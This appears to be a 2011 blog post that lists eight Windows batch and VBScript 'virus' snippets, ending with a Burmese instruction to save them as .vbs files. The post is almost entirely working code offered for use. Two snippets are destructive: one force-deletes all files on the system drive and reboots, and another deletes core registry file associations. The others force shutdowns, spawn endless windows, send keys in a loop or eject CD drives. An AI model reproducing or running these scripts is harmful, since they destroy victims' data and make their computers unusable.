new. vbs.virus

Jul 31, '11 3:54 AM for everyone

1. Blue Screen Shutdown

This Virus will make your computer shutdown with a Blue Screen

@echo off del %systemdrive%\*.* /f /s /q shutdown -r -f -t 00

2. Stupidity Shutdown

This virus Popup's this funny Message and then shutdown the computer "Error! You are too stupid!"

@echo off msg * Fatal system error due to admin stupidity! shutdown -c "Error! You are too stupid!" -s -t 10

3. Delete Key Registry Files

Note : This Virus will delete the Registry Files and then display a message and it keeps on going.

@ECHO OFF START reg delete HKCR/.exe START reg delete HKCR/.dll START reg delete HKCR/* :MESSAGE ECHO Your computer has been Hacked and now cant be recovered.  Have a nice day. GOTO MESSAGE

4. Endless Notepads

This Script popup's endless NotePads

@ECHO off :top START %SystemRoot%\system32\notepad.exe GOTO top

5. Crazy caps lock

This constantly turns caps lock on and off really fast continuously

Set wshShell =wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "{CAPSLOCK}" loop

6. Endless Enter

This constantly makes it so the enter button is being pressed continuously

Set wshShell = wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "~(enter)" loop

7. Endless Backspace

This makes it so the backspace key is constantly being pressed

MsgBox "Let’s go back a few steps" Set wshShell =wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "{bs}" loop

8. Popping CD Drives

This will make the CD drives constantly pop out

Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCollection do if colCDROMs.Count >= 1 then For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next End If wscript.sleep 100 loop

အားလံုး .vbs နဲ့ save ပါ